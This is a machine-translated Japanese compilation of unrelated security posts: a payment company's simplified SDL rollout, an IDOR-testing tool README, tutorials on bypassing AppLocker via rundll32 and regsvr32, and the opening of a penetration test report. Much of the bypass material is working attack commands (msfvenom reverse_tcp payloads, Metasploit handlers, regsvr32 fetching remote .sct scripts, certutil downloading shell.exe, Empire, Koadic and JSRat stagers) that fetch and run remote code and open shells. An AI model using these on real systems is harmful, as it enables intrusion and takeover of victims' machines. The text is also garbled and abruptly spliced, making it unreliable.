6.利用可能なすべての操作モード[root@selks-server〜]#/usr/local/bin/suricataを確認してください

-List-Runmodes

1。序文

一般的に、安全性は運用および保守部門に属します。前の会社の運用およびメンテナンスディレクターと、毎日の安全作業をDevOpsに統合できるかどうかについて話しました。まもなく、私はさまざまな理由で去りました。 5月、彼は2018年にサードパーティの支払い会社に入社し、年の前半にさまざまな検査に費やしました。規制状況は深刻であり、主要な指導者は安全性(主に監督)の重要性を持ち、2019年のすべての部門の目標は安全に関連しています。支払い会社はさまざまな規制機関からの検査に直面する必要があるため、一部のセキュリティは比較的うまく行われています。ほぼ1年の会社に精通した後、アプリケーションのセキュリティが比較的弱いことがわかっています。業界のより良いソリューションのこの部分はSDLです。さまざまなメーカーと通信した後、私は会社で少しずつ宣伝することにしました。

1049983-20230223005505851-1935601238.png

上の写真は、SDLの標準バージョンを示しています。操作とメンテナンスはDevOpsシステムを採用しているため、テストでは機能テストにも自動化を使用します。バージョンの反復サイクルは比較的速く、セキュリティスタッフは不十分であり、SDLの脅威モデリングも混乱しています。プロセス全体に安全が追加された場合、それは配達時間に深刻な影響を与えます。この場合、業界のいくつかの慣行が調査され、SDLを簡素化することを決定しました。 SDLの簡素化されたバージョンは次のとおりです。

1049983-20230223005506900-1241560024.png

2。 Lite SDL実装練習

安全トレーニング

コアSDLの1つはセキュリティトレーニングです。そのため、セキュリティトレーニングの観点から、セキュリティコーディング、セキュリティ認識、セキュリティ知識ベース、セキュリティSDKを行いました。

安全コード:

Javaセキュリティコーディング仕様、製品セキュリティ設計および開発セキュリティの仕様がオンラインで、会社の実際のビジネスと組み合わせて、バージョンをリリースしました。1049983-20230223005507712-1799677019.png

さまざまな規制機関にはトレーニングの要件があるため、安全トレーニングを導入し、開発と新しい従業員の採用のために定期的にトレーニングを受けています。1049983-20230223005508666-156154663.png

安全性認識:

同社は企業のWECHAT公式アカウントを持っており、ほとんどの従業員はそれに従い、公式アカウントで宣伝しています。1049983-20230223005511575-1861001679.png

プロモーションが完了したら、小さな贈り物をください

1049983-20230223005512954-1257222268.png

スタッフが不十分であるため、機能テストと安全性テストは本質的に共通しています。テスト部門も比較的協力的であり、テスター向けの安全性テスト関連トレーニングを実施していますが、効果はあまり理想的ではありません。

1049983-20230223005513820-1671772662.png

安全知識ベース:

脆弱性修復プロセス中、多くの開発は原則と修復ソリューションを理解していないため、セキュリティ知識ベースを確立し、関連するソリューションをチェックするためにセキュリティ知識ベースに進みました。見つからない場合は、セキュリティ担当者と通信し、セキュリティ担当者は常に知識ベースを更新して閉ループを形成します。

1049983-20230223005514543-574197297.png

セキュリティSDK

会社には建築部門があるため、開発フレームワークは基本的に建築部門によって提供されています。アーキテクチャ部門と共通の脆弱性を伝えた後、SDKを使用して建築に脆弱性修復方法を実装させます。開発には、JARパッケージをインポートして構成ファイルに構成する必要があります。また、多くの落とし穴があり、ゆっくりと最適化する必要があります。

1049983-20230223005515341-1061280096.png

3。安全要件設計

会社にはプロジェクト承認システムがあり、すべてのプロジェクトの承認はシステムを通じて確立する必要があります。安全性は必須であり、レビュー会議の安全性も参加する必要があります。

1049983-20230223005516070-1183240391.png

現時点では、プロジェクトマネージャーは基本的にセキュリティ担当者に連絡して通信し、VIP製品の安全設計仕様をコピーし、要件文書とプロジェクトマネージャーに基づいてセキュリティニーズを決定します。

1049983-20230223005518167-302814842.png

セキュリティ要件を確認した後、必要に応じて要件ドキュメントに追加され、セキュリティテスト時間を確認します。このプロセスは、新しいプロジェクト専用です。開始されたプロジェクトの要件は、このプロセスに従うことはありません。その後のセキュリティテストでは、プロジェクトのこの部分がどのように行われるかについて説明します。

1049983-20230223005519575-917103671.png

iv。開発、セキュリティテスト

セキュリティテストは、主にコード監査、脆弱性スキャン、および手動セキュリティテストに分割されています。これから派生した安全製品は、3つのカテゴリに分かれています。 DAST:Dynamic Application Security Test(WVS、AppScan)、SAST:Static Application Security Test(Fortify、RIPS)、IAST:Interactive Application Security Test(Seeker、Lijian)。これら3つの製品の詳細な紹介については、https://www.aqniu.com/learn/46910.htmlを参照してください。以下の図は、3つの製品のテスト結果の比較です。

1049983-20230223005520614-1980739689.png

これらのタイプの製品は自動化でき、DevOpsに継承できます。次に、これらのツールを開発テストフェーズに組み込みます。

IASTには多くの実装モードがあり、一般的なモードにはプロキシモード、VPN、トラフィックミラーリング、計装モードが含まれます。この記事では、2つの最も代表的なモード、プロキシモードと計装モードを紹介します。調査対象の製品の一部は以下の図に示されており、特定のテスト結果は発表されません。

1049983-20230223005521457-454737043.png

開発段階

いくつかの種類の製品を調査すると、Iastの計装モードを開発環境に直接配置できます。開発環境とテスト環境のコードの主な違いは、Application.yml構成ファイルです。そのため、このモードは事前に開発段階に配置できます。

開発がコードの書き込みを完了し、GitLabに送信して開発環境に展開してアプリケーションを開始すると、開発は機能が利用可能かどうかを確認する必要があり、現時点では脆弱性があるかどうかを検出できます。

同社は、テスト環境で牧場主を使用し、Iast JARパッケージをプロジェクトのGitLabに入れ、展開中にコードをローカルに引いて、DockerFileファイルを変更してJARパッケージをコンテナに追加します。

シェル/xxx.jar/home/app/xx/libを追加します

会社のプロジェクトは基本的にSpring-Bootを使用しているため、すべてのプロジェクトはstart.shスクリプトを通じてアプリケーションを開始します。 start.shとdockerfileをプロジェクトのgitlabに追加し、start.shスクリプトファイルを同時に変更する必要があります。

-javaagent: $ app_home/lib/xx.jar -jar $ app_home/app/*。jar - spring.profiles.active=dev $ app_home/logs/startup.log 21

テスト項目は次のとおりで、タイプミスは無視されます。

1049983-20230223005522132-529066295.png

開発および提出コードが展開されたら、通常の機能にアクセスすると、プラットフォームに脆弱性があるかどうかを確認できます。

1049983-20230223005522696-404919098.png

1049983-20230223005523433-204390000.png

1049983-20230223005524107-1209971798.png

一部の製品では、サードパーティのコンポーネントパッケージも検出されます。

1049983-20230223005524868-632493352.png

同社は港を使用して倉庫として画像をミラーリングしています。プロジェクトが展開された後、ミラーにパッケージ化され、港にアップロードされます。ハーバーには、ミラースキャン機能が付属しています。

1049983-20230223005525557-202407059.png

テストフェーズ

開発が完了した後、テスト段階に入ります。この段階では、静的コードスキャン、機能テスト、セキュリティテストを実施します。

静的コードスキャン

Static Code Scanningツールを使用して、コンパイル前にコードをスキャンし、セキュリティの問題を含む静的コードレベルでさまざまな問題を見つけます。いくつかのツールリスト:1049983-20230223005526258-2127755831.png

静的コードスキャンSonarqube統合を使用し、FindBugseCurity、合理化されたルールを使用し、継続的な建設プロセス中に静的コードバグと安全なスキャンを実行します。

1049983-20230223005526910-1086384454.png

静的コードをスキャンしている間、サードパーティの依存関係パッケージもスキャンできます。 OWSAPの依存関係チェックは、連続的な建設プロセスに統合できます。 IASTクラスの製品はこの機能をサポートしているため、紹介しません。

機能テスト

機能テストの観点から、同社のテスト部門は自動テストプラットフォームを実装しています。初期段階では、エージェント検出を使用しませんでした。最初は、オープンソースのGourdscan Plus OpenRaspを使用し、デフォルトのOpenRaspを使用して、非インターセプトモードと脆弱性レコード関数を有効にして、サーバーで返されない脆弱性を検出しました。

自動化プラットフォームでプロキシIPを構成するだけです。

OpenRasp脆弱性レコード

1049983-20230223005842123-671978983.png

その後、テストでは、汚れたデータスキャンが多すぎて効果があまり良くないことが報告されているため、この計画をあきらめました。 IASTの計装方法は開発段階で使用され、テスト環境ではエージェントも使用して、開発環境と同じ方法で問題を検出します。機能テストが完了した後。テスターは脆弱性をあまり理解していないため、指定されたプロセスは、テスターがプラットフォームにアクセスしてレポートとセキュリティ担当者を表示して、どの問題を修正する必要があるかを伝え、テストレポートに問題を記述することです。

安全テスト

テストフェーズ中にセキュリティがプロセス全体に追加されました。すべての要件の変更を完了する必要があり、機能テストが必要です。つまり、すべてのプロセスがセキュリティテストに合格しています。このようにして、セキュリティスタッフはそれほど十分ではありません。内部および外部サービスを区別する方法を使用して、介入するためにセキュリティ担当者が必要かどうかを判断することが決定されます。

1049983-20230223005902448-222221029.png

脆弱性管理

脆弱性管理は脆弱性管理システムを策定し、脆弱性は影響の程度に応じて評価されます。重大な脆弱性を起動する前に修正する必要があります。高、中、低リスクの脆弱性には小さな影響があり、スケジュールする必要があります。セキュリティ担当者は、脆弱性修理の状況を定期的に追跡します。

v。監視

支払い会社には一般的にセキュリティ機器があります。この部分は基本的に、デバイスのsyslogをログセンターに使用して視覚化し、対応するルールをカスタマイズしてアラームを達成します。

vi。結論

個人の知識と経験は、SDLシステムにあまりよく知られておらず、経験がないため、現在のレベルにしか到達できません。将来、プロセスを最適化して追加する場所がたくさんあります。良い提案がある場合は、お気軽にお気軽にお問い合わせください

出典:https://xz.aliyun.com/t/5656

概要

認証情報を置き換え、パケットの結果を比較することにより、インターフェイスに期限切れの脆弱性があるかどうかを判断できます。

機能

Picture/JS/CSS/HTMLページなどの静的コンテンツのHTTPS自動フィルタリング、ブロッキング、サポート出力レポート、および完全なURL、リクエスト、応答

インストールと使用

GIT CLONE 3https://9GITHUB.COM/Y1NGLAMORE/IDTHOR_-DETECT_TTOR_-DETECT_THOR_-DETECT_THOR_-DETECT_THOR_-DTECTECT_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR。 PIPインストール-R要件。txt

インストール依存関係

python3 start.py

Socks5: //127.0.0.133608889を聴くことができます。

start

スイッチメガおよびその他のプラグインを使用してエージェントに接続し、MITM.ITにアクセスして証明書インストールページに入力し、オペレーティングシステムに従って証明書をインストールします。

例としてmacosを取る:

175143_y7wfgR

ダウンロードしてインストールした後、キーチェーンアクセスを開き、mitmproxy証明書を見つけて、AlwaysStrusに変更します

175302_B8WD5s

インストール証明書

ターゲットシステムの2つのアカウントAとBを最初に準備し、システムの認証ロジック(Cookie、Header、パラメーターなど)に従ってAアカウント情報config/config.ymlを構成し、次にBアカウントにログインします

175522_XdPt84

アカウントBを使用してアクセスすると、スクリプトは認証情報と再生を自動的に置き換え、応答結果に基づいて期限切れの脆弱性があるかどうかを判断します。

175435_PFm3WY

レポートを生成します

新しい脆弱性があるたびに、レポート/result.htmlに自動的に追加され、ブラウザを介して開きます。

181645_PaztjA

特定のエントリをクリックして、対応するリクエストと応答を展開/崩壊させます。

181811_HJMDoo

検出ロジック

230504_ECb2mP

元の接続:https://github.com/y1nglamore/idor_detect_tool

0x00はじめに

この記事では、ホワイトリストのApplockerバイパスの最も一般的で馴染みのあるテクニックを示しています。セキュリティ上の理由から、システム管理者はグループポリシーを追加して、ローカルユーザーのアプリケーション実行を制限しています。前の投稿では、「Windows Applockerポリシー - 初心者向けガイド」について説明しました。なぜなら、アプリケーション制御ポリシーとそれらの使用方法に関するApplockerルールを定義しているからです。ただし、今日は、rundllファイルを使用してApplockerポリシーをバイパスする方法を学びます。

DLLファイルは、ウィンドウのオペレーティングシステムにとって非常に重要であり、ウィンドウをカスタマイズするための他のプログラムの実行も決定します。動的リンクライブラリ(DLL)ファイルは、何かを呼び出す方法に関する他のプログラムに指示を提供するファイルタイプです。したがって、複数のソフトウェアは、このようなDLLファイルを同時に共有することもできます。フォーマットは.exeファイルと同じですが、DLLファイルは.exeファイルのように直接実行することはできません。 dllファイル拡張子は:dll(動的リンクライブラリ)、ocx(activexコントロール)、cpl(コントロールパネル)、drv(デバイスドライバー)にすることができます

0x01 run

Applockerを使用すると、DLLファイルは複数の部品に分割されます。これにより、実行中のDLLファイルがシンプルかつ高速になります。各部品は、実行時にメインプログラムにインストールされます。各セクションは異なって独立しているため、読み込み時間はより速く、ファイルの機能が必要な場合にのみ行われます。また、この機能により、他の部品に影響を与えずにアップグレードが簡単に適用できます。たとえば、毎月新しい単語を追加する辞書プログラムがあるため、このプログラムでは、更新する必要があります。そのための完全な他のプログラムをインストールすることなく。

1。利点

使用するリソースを使用します

モジュラーアーキテクチャを促進します

展開とインストールを簡素化します

2。短所

依存関係DLLは新しいバージョンにアップグレードされます

dllに依存して固定されています

依存関係DLLは、以前のバージョンによって上書きされます

コンピューターから依存関係DLLを削除します

0x02 DLLファイルを使用してApplockerバイパスを使用するさまざまな方法

SMB_Delivery

msfvenom

Koadic

cmd.dll経由でコマンドプロンプトを取得します

jsrat

したがって、

1。最初の方法:SMB配信

したがって、私たちのアプローチはSMB_Deliveryを使用することです。この方法を使用するには、Kaliの端末を開き、次のコマンドを入力します。MSFConsoleUseExploit/Windows/SMB/SMB_DELIVERY

MSF Exploit(Windows/SMB/SMB_Delivery)SET SRVHOST 192.168.1.107

MSFエクスプロイト(Windows/SMB/SMB_Delivery)Exploit

Windowsコンピューターでrundll32.exeを介して悪意のあるコードを実行して、meterpreterセッションを取得します

zjllkpfp4o38420.png

上記のペイロードが実行されると、被害者のPCで実行されるコマンドが得られます。セッションを取得するために。したがって、次の図に示すように、被害者PCの実行ウィンドウに指定されたコマンドをコピーして貼り付けます。

rundll32.exe \\ 192.168.1.107 \ ztmw \ test.dll、0 jichxeiczen8421.png

コマンドが実行されると、MeterPreterセッションが行われます。セッションタイプにアクセスするには、次のようになります。

セッション1

sysinfo

uzuau34kdet8422.png

2。 2番目の方法:msfvenom

2番目の方法はMSFvenomを使用しています。この方法を使用するには、Kaliの端末に次のコマンドを入力します。

MSFVENOM -P Windows/MeterPreter/Reverse_tcp lhost=192.168.1.107 lport=1234 -f dll 1.dll

fxyj2maiiq18423.png

ペイロードを作成した後、被害者PCの実行ウィンドウで次のコマンドを実行します。

rundll32shell32.dll、control_rundllc: \ users \ raj \ downloads \ 1.dll bzqbj0pa01d8424.png

同時に、次のコマンドを入力してセッションを取得してマルチ/ハンドラーを開始します。コマンドを入力します。MSFCONSOLEMSFEXPLOIT(MULTI/HANDLER)SET PAYLOAD WINDOWS/METERPRETER/REVERSE_TCP

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.107

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

lkbia2rfr2b8425.png

3。 3番目の方法:koadic

次のアプローチは、Koadicフレームワークを使用することです。 Koadicは、MeterPreterやPowerShellempireなどの他の浸透試験ツールに似た後期開発のルートキットです。 Koadicの詳細については、以下のリンクを介して上記のフレームワークに関する詳細な記事をご覧ください:https://www.hackingarticles.in/koadic-command-control-framework

Koadicが稼働したら、次のコマンドを入力してください。

Stager/JS/rundll32_jsを使用します

SRVHOST 192.168.1.107を設定します

走る

nentlasgdc08426.png

エクスプロイトを実行するとコマンドが得られます。 rundll32.exeから6.0にコマンドをコピーし、被害者PCのコマンドプロンプトに貼り付けます。

CMDでコマンドを実行したら、独自のセッションがあります。下の図に示すように。

セッションにアクセスするには、次のコマンドを入力します。

ゾンビ0

j2bnv13mwrx8427.png

4。 4番目の方法:cmd.dllを介してコマンドプロンプトを取得

今の問題は、被害者のホストでコマンドプロンプトがブロックされている場合はどうすればよいですか?

qa3jrwtfc0t8428.png

コマンドラインがブロックされている場合、ディディエスティーブンスが開発したスクリプトを使用して、小さな問題を解決できます。次のリンクで見つけることができます。

http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

上記のURLでは、zipファイルをダウンロードします。 zipファイルを解凍し、次のコマンドを使用して実行ウィンドウでファイルを実行します。

rundll32 shell32.dll、control_rundll c: \ users \ raj \ downloads \ cmd.dll

u1kq0ozrnqi8429.png

コマンドを実行すると、ブロックされていないCMDが取得されます。以下に示すように:

wjo2ql51r4e8430.png

5。 5番目の方法:jsrat

regsvr32を攻撃する次の方法は、jsratを使用することです。Githubからダウンロードできます。これは、KoadicとPowershell Empireと同様の別のコマンドおよび制御フレームワークであり、rundll32.exeとregsvr32.exeのみの悪意のあるプログラムを生成します。 JSRATは、JSファイルを見つけるWebサーバーを作成します。この方法を使用するには、次の方法を入力します。

/jsrat.py -i 192.168.1.107 -p 4444

qnrtt04pabc8431.png

JSRATが実行を開始すると、ブラウザで開くリンクが提供されます。ページには、被害者のホストで実行されるコードが含まれます

4dyt4ifd0he8432.png

したがって、ブラウザでhttp://192.168.1.107/WTFリンクを開いてください。以下に、次の図に示すように、悪意のあるコードが表示されます。

gnbunvc0mxs8433.png

次のように、被害者PCのコマンドプロンプトでコードを実行します。

r3b5ozci1b48434.png

次の図に示すようにセッションがあります。

3w4ymvv54bn8435.png

0x03要約

DLLファイルは、さまざまなコードと手順のコレクションです。これらのファイルは、Windowsプログラムが正確に実行されるのに役立ちます。これらのファイルは、複数のプログラムが同時に使用するために作成されます。この手法は、メモリの使用量を減らすのに役立ちます。したがって、これらのファイルは非常に重要であり、ユーザーに問題を引き起こすことなくWindowsが適切に機能する必要があります。したがって、これらのファイルを利用することは非常に効果的で致命的です。上記で紹介した方法は、さまざまな方法の使用です。

0x00 regsvrの紹介

regsvr32は、Microsoft登録サービスを意味します。これは、Windowsのコマンドラインユーティリティです。 regsvr32は問題を引き起こすことがありますが、Windowsシステムファイルの重要なファイルです。このファイルは、C: \\ Windowsのサブフォルダーにあります。ファイルは、他のプログラムの表示、追跡、影響を受けることができます。それは.exeであり、そのプロセスがOLE(オブジェクトリンクと埋め込み)、DLL(データリンクライブラリ)、およびOCX(ActiveXコントロールモジュール)で広く使用されているため、Windowsファイル拡張機能にプログラムを登録および登録するために主に使用されます。上記のプロセスはバックグラウンドで実行され、タスクマネージャーを通じて見ることができます。これは、Microsoftの信頼できるドキュメントの1つです。

0x01 regsvr run

REGSVR32にDLLファイルを登録すると、REGSVR32に関連付けられたプログラムに関する情報がWindowsに追加されます。次に、これらのプロセス視聴者にアクセスして、プログラムデータがどこにあるか、プログラムデータとの対話方法を理解します。 DLLファイルを登録すると、Windowsが使用できるように情報がディレクトリに追加されます。これらのファイルへのパス全体に文字通り実行可能コードがあるため、Windowsは特定の機能を呼び出すことができます。これらのファイルは、ソフトウェアが更新されると、これらのファイルが更新されたバージョンを自動的に呼び出すため、非常に便利です。要するに、ソフトウェアのバージョンの問題を回避するのに役立ちます。通常、このファイルは、DLLファイルの登録と登録を除いて使用することはあまりありません。

regsvr32.exeには、次のコマンドラインオプションがあります。

構文:regsvr32 [/s] [/u] [/n] [/i [:cmdline]] dllname

/u -Unregister server/i -dllinstallを呼び出してオプション[cmdline]を渡す。 /uで使用する場合は、dll uninstall /nを呼び出します - dllregisterserverを呼び出しないでください。このオプションは /i /sで使用する必要があります。メッセージボックスを表示しないでください

詳細については、https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messagesをご覧ください

0x02 regsvr

を攻撃するさまざまな方法

Web配信

帝国

マニュアル

msfvenom

Koadic

jsrat

greatsct

1。最初の方法:Web配信

このモジュールは、ペイロードを提供するWebサーバーをすばやく起動できます。提供されたコマンドは、ペイロードのダウンロードと実行を可能にします。指定されたスクリプト言語パーサーまたはregSVR32を介してShofiblyDooテクノロジーを使用することにより、アプリケーションホワイトリストをバイパスします。このモジュールの主な目的は、攻撃者が手動でコマンドを入力する必要がある場合(コマンドインジェクションなど)、ターゲットコンピューターでのコマンドインジェクションなどのセッション:をすばやく確立することです。

regsvr32は、sefiblydooテクノロジーを使用して、アプリケーションホワイトリストをバイパスします。署名されたMicrosoftバイナリファイルregsvr32は、sctファイルを実行し、その中に含まれるPowerShellコマンドを実行することができます。両方のWeb要求(つまり、sctファイルとPowerShellのダウンロード/実行)は、同じポートで実行できます。 「PSH(Binary)」はファイルをハードディスクに書き込み、カスタムバイナリファイルをダウンロードして実行できるようにします。

Exploit/Multi/Script/Web_Deliveryを使用します

MSF Exploit(web_delivery)ターゲットを設定3

MSF Exploit(web_delivery)ペイロードphp/meterpreter/reverse_tcpを設定します

MSF Exploit(web_delivery)set lhost 192.168.1.109

MSF Exploit(web_delivery)SET SRVHOST 192.168.1.109

MSFエクスプロイト(web_delivery)exploit

次の図で強調表示されているコードをコピーします。

hq4hslpiunm8390.png

そのエクスプロイトが実行されると、URLが作成されます。次のように、被害者PCのコマンドプロンプトでURLを実行します。

regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31jt5dif.sct scrobj.dll

42idtrbcckq8391.png

コマンドが実行された後にEnterを押すと、セッションがあります。下の図に示すように、sysinfoコマンドを入力して、ホスト情報を取得します。

soum2yewxly8392.png

2。 2番目の方法:Powershell Empire

次のREGSVR攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、SCTタグをMetasploitと一致させる必要がありますが、この方法ではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。

帝国の基本ガイドについて学ぶには、記事帝国の紹介をご覧ください:https://www.hackingarticles.in/hacking-with-empire-post-extraction-agent/

Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。リスナーを設定するには、次のコマンドを入力してください。

USELISTNER HTTP

ホストhttp://192.168.1.109を設定します

実行する

上記のコマンドを使用すると、アクティブなリスナーが表示されます。入力してリスナーを終了してPowerShellを開始します。

bqj5v0qtg1t8393.png

リスナーが切断されたら、エクスプロイトを使用して悪意のあるファイルを作成する必要があります。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードのスニペットです。これは、エクスプロイトを作成するためには、ステージャーを使用する必要があることを意味します。したがって、次のコマンドを入力してください。

UseStager Windows/Launcher_Sct

リスナーhttpを設定します

実行する

コマンドを実行した後、UseStagerは /TMPでLauncher.sctを作成します。次に、セッションを取得するには、次のコマンドを入力してPythonサーバーを開始します。

python -m simplehttpserver 8080

サーバーが起動すると、残りの唯一のステップは、被害者のPCでマルウェアを実行することです。これを行うには、コマンドプロンプトに次のコマンドを入力してください。

regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

上記のコマンドでは、Pythonサーバーが同じポートでアクティブ化されているため、ポート8080を使用しました

3mb4nwhvx1b8394.png

指示に従って、セッションを受け取ります。セッションにアクセスするには、次のコマンドを入力します。

9ATUX4M7を操作します

9ATUX4M7:プロキシ/セッション名です。これはセッションによって異なります。

3。 3番目の方法:PowerShellコードをSCTファイルに注入します(手動方法)

次の方法は、エクスプロイトで作成されます。使用するエクスプロイトは、PowerShellコードの作成に役立ちます。最初にPowerShellを作成し、Kaliとターミナルに移動してコマンドを入力します。

このエクスプロイトを実行した後、次の画像に示すように、端子画面にPowerShellコードが表示されます。

Exploit/Multi/Script/Web_Deliveryを使用します

MSF Exploit(web_delivery)ターゲットを設定します2

MSF Exploit(web_delivery)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(web_delivery)set lhost 192.168.1.109

MSF Exploit(web_delivery)SET SRVHOST 192.168.1.109

MSFエクスプロイト(web_delivery)exploit

以下に強調表示されたテキストコードをコピーします

z5t4i1wsqox8395.png

regsvr32は、WindowsレジストリのDLLSやActiveXコントロールなど、OLEコントロールをレジスタおよび登録するコマンドラインユーティリティです。 regsvr32.exeは、Windows XP以降の%SystemRoot%\ System32フォルダーにインストールされます。

次に、攻撃を実行できるように.SCTファイルを作成する必要があります。sctファイルを作成するためのオンラインスクリプトを見つけました。ここをクリックして、スクリプトへのリンクにアクセスできます。スクリプトを以下の図に示します:ktjr1lgvsgh8396.png

Web配信によって作成されたPowerShellコードをコピーして、下の画像に示すように「Calc.exe」を表示するスクリプトに貼り付けて、SCT拡張機能で保存します。

tcgc1edozfr8397.png

次に、アピールのように、次のコマンドを実行して、regsvr32.exeを使用して被害者のPCで.SCTファイルを実行します。

regsvr32/u/n/s/i:http://192.168.1.109/1.SCT SCROBJ.DLL

jl44muwdjwb8398.png

上記のコマンドが実行されたら、web_interactionを介して会話をすることができます。システムに関する基本情報のセッションタイプ「セッション1」と「情報」にアクセスするには。

105gc1kif3l8399.png

4。 4番目の方法:msfvenom

次の方法は、MSFvenomを使用することです。このアプローチを使用すると、2つの.SCTファイルを作成します。1つはマルウェアをダウンロードし、もう1つは実行するために実行します。しかし、最初に、MSFvenomから始めましょう。このタイプについては、次のコマンドを入力してください。

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -f EXE SHELL.EXE

xqze1acgfqz8400.png

次のコマンドでPythonサーバーを起動します。

python -m simplehttpserver 80

一方、前の方法で使用されている同じスクリプトで、Certutil.exeコマンドを挿入して、リモートサーバーからshell.exeファイルを呼び出します。したがって、「calc.exe」を使用して以下を書き込み、sct拡張子でファイルを再度保存しないでください。

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe

Windowsのファイルをダウンロードし、ファイルを3.SCTとして保存できるため、ここでcertutilを使用しました。

tioxgkmnb5h8401.png

次に、次のコマンドで上記のスクリプトを実行します。

regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll

iabvg0lg4qm8402.png

以前のファイル「shell.exe」を実行するための別のファイルを作成します。これを行うには、同じスクリプトをもう一度取り、「calc.exe」を書き込みます。したがって、次のコマンドを書きます。

CMD /K CD C: \ USERS \ RAJ SHELL.EXE

jhpwiopcteg8403.png

スクリプトを4.SCTとして保存し、次のコマンドでこのスクリプトを再度実行しました。

regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll

wche3sn4jxv8404.png

同時に、マルチプロセッサを開始してセッションを取得します。したがって、次のコマンドを入力してください。

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

被害者のホストでコマンドを実行した後、メータープレターセッションがあります

rk3eb3irrtq8405.png

5。 5番目の方法:koadic

次の方法は、Koadicを使用することです。 Koadicは、MeterPreterやPowerShellempireなどの他の浸透試験ツールに似た後期開発のルートキットです。 Koadicの詳細については、以下のリンクを介して上記のフレームワークに関する詳細な記事をご覧ください:https://www.hackingarticles.in/koadic-command-control-framework

Koadicが稼働したら、次のコマンドを入力してください。

STAGER/JS/REGSVRを使用します

SRVHOST 192.168.1.107を設定します

走る

nz2wspcioql8406.png

この後、被害者PCコマンドプロンプトに次のコマンドを入力してください。

regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uwbjv scrobj.dll

上記のコマンドを実行した後、セッションがあります。セッションにアクセスするには、次のコマンドを入力します。

ゾンビ0

kaq2s05hhgf8407.png

6。 6番目の方法:jsrat

regsvr32を攻撃する次の方法は、jsratを使用することです。Githubからダウンロードできます。これは、KoadicやPowershell Empireのように、rundll32.exeとregsvr32.exeの悪意のあるプログラムを生成するだけの非常に小さなコマンドおよび制御フレームワークです。 JSRATは、SCTファイルを見つけるWebサーバーを作成します。この方法を使用するには、次のコマンドを入力します。

./jsrat.py -i 192.168.1.107 -p 4444

izvyv5wojb08408.png

上記のコマンドを実行すると、Webサーバーが開始されます。

eoredub0bbd8409.png

以下に示すように、ブラウザでそれを開きます。ここでは、被害者のPCで実行するために必要な.SCTファイルがあります。

105oseiuidj8410.png

コマンドを取得したら、次の図に示すように、[実行]ウィンドウでコマンドを実行します。

pnhjnfddwyp8411.png

コマンドウィンドウでコマンドを実行した後、示されているようにセッションがあります。

bqqyq1z1yrt8412.png

7。 7番目の方法:greatsct

GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。次のアドレスからダウンロードできます。

https://github.com/greatsct/greatsct

ダウンロードと実行後、次のコマンドを入力してモジュールにアクセスします。

バイパスを使用します

3p5b4ldzzwc8413.png

次に、「リスト」を入力してモジュールリストを取得します

i20cuos22rc8414.png

モジュールリストは、次の図に示すように表示されます。

o0bku0jxbpz8415.png

モジュールリストから次のオプションを選択します。

regsvr/shellcode_iject/base64_migrate.pyを使用します

生成する

zwo3spak50i8416.png上記のコマンドを完了したら、1を入力してmsfvenomを選択します

ocsshzwh4jo8417.png

その後、ペイロードをお願いします。 Enterを押して、Windows/MeterPreter/Reverse_TCPをデフォルトのペイロードとして取得するだけです。これが必要なことです。この後、192.168.1.107と指定されたポート(ANY)を提供します。下の図に示すように、LPORTを2345に設定します。

4gwticoajdl8418.png

詳細を述べた後、マルウェアに名前の名前を尋ねます。デフォルトでは、名前を「ペイロード」に設定して、名前を提供するか、Enterを押してデフォルトの設定を作成するだけです。

ezc3fj1zg0s8419.png

Enterを押すと、2つのファイルが生成されます。 1つはリソースファイル、もう1つは.sctファイルです

0x01はじめに

このテストは実用的なテストです。テスト環境は、認定プロジェクトの一部です。機密情報コンテンツはコーディングされており、議論と学習のみです。テスト時に承認を取得してください。

承認されたプロジェクトを取得したとき、顧客は私に会社名を教えてくれただけで、ここで私は特定の会社に置き換えられました。

0x02情報収集

古い方法は、サブドメイン名をスキャンしてからディレクトリをスキャンすることです。私は混乱を見つけましたが、それを使用することに意味がありませんでした、そしてそれはクラウドホストでした。資産のさらなる検出であるOuliは、CVE-2019-0708の発見を与えました。 TargetRはWindows Server 2008 R2システムです。

0x03 getShell

CVE-2019-0708を発見したと思いました。当時、私は大規模なヘルスケアMSFを取り出してカムバックしました。くそー、私はそれが使用できないことを発見し、私は脆弱性を検出しましたが、セッションの作成に失敗しました。

1049983-20220124162648523-1136083651.jpgはあきらめたくなかったので、定着は役に立たなかった。 20回以上攻撃した後、同じ間違いがまだ同じであり、顧客のターゲットマシンを引き起こし、ブルースクリーンを20回以上追跡しました。

読み続けて、Redisアセットがあることがわかりました。弱いパスワードを試してみると、パスワードが123123であることがわかりました。最初に情報を確認しましょう。

1049983-20220124162648969-50025.jpg

